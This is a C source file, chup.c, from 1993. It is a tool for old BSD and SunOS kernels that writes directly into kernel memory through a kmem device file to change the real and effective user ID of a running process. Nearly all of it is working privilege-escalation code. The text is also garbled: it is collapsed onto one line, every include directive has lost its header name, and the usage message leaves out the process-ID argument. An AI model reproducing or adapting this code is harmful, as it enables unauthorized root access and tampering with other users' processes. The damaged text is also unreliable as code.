/* * chup.c - change uid of a running process. * Should work on any 4.2/4.3BSD based kernel. * Written by Avalon (avalon@coombs.anu.edu.au), 22/12/93. Ported to SunOS by x0d, me thinks. */ #include #include #include #include #define KERNEL #include #undef KERNEL #include #include #include #include #include /* #include /**/ #ifndef offsetof #define offsetof(t,m) (int)((&((t *)0L)->m)) #endif #define DEVKMEM "/home/new-kmem" struct nlist names[] = { { "_allproc", 0, 0, 0, 0}, { (char *)NULL, 0, 0, 0, 0 } }; static int kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0; void fatal(status, msg) int status; char *msg; { perror(msg); exit(status); } static int lock_on() { return 0; } static int lock_off() { return 0; } int kopen() { return (kfd = open(DEVKMEM, O_RDWR)); } void kread(buf, pos, n) char *buf; off_t pos; int n; { if (!n) return; if (debug) printf("read %d @%#x to %#x on %d\n", n, pos, buf, kfd); if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek"); if (read(kfd, buf, n) != n) fatal(-1, "kread"); } int kwrite(buf, pos, size) char *buf; u_long pos, size; { if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(w)lseek"); if (debug) printf("write %d to %#x from %#x on %d\n", size, pos, buf, kfd); if (write(kfd, buf, size) == -1) fatal(-1, "kwrite"); return 0; } int change_proc() { register int i; int np; struct proc p,*next; struct ucred ucr; if (nlist("/vmunix", names) == -1) fatal(-1, "nlist"); if (kopen() == -1) fatal(-1, DEVKMEM); if (lock_on() == -1) return -1; if(names[0].n_value ==0) fatal(-1, "no allproc"); kill(pid, SIGSTOP); kread((char *)&next, names[0].n_value, sizeof(struct proc *)); /* walk the linked list */ for (i = 0; next; i++) { kread((char *)&p, (char *)next, sizeof(p)); next = p.p_nxt; if (p.p_pid == pid) { if(!p.p_cred) fatal(-1, "no credentials with this process!"); kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr)); printf("%d %d (uid %d, suid %d) uid %d euid %d\n", i, p.p_pid, p.p_uid, p.p_suid, ucr.cr_ruid,ucr.cr_uid); if (uid != -1) { ucr.cr_ruid = uid; kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid), (char *)p.p_cred + offsetof(struct ucred, cr_ruid), sizeof(ucr.cr_ruid)); } if(euid != -1) { ucr.cr_uid = euid; kwrite((char *)&ucr + offsetof(struct ucred, cr_uid), (char *)p.p_cred + offsetof(struct ucred, cr_uid), sizeof(ucr.cr_uid)); } printf("set to %d %d\n", uid, euid); break; } } kill(pid, SIGCONT); if (!next) (void) fprintf(stderr, "process %d not found\n", pid); /* we're not going through that again :) else { kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p)); kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr)); if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, sizeof(ucr)); (void) printf("%d %d uid %d euid %d\n", i, p->p_pid, pcr.p_ruid, (pcr.pc_ucred!=NOCRED)? ucr.cr_uid : pcr.p_ruid); } */ lock_off(); } void printusage(name) char *name; { (void) fprintf(stderr, "usage:\n%s [uid [euid]]\n", name); } int do_args(argc, argv) int argc; char *argv[]; { if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, debug = 1; if (argc == 1) { printusage(argv[0]); return -1; } if (kill(pid = atoi(argv[1]), 0) == -1) { perror(argv[0]); return -1; } if (argc > 2) { uid = atoi(argv[2]); if (argc > 3) euid = atoi(argv[3]); } return 0; } main(argc, argv) int argc; char *argv[]; { if (do_args(argc, argv)) exit(1); return change_proc(); }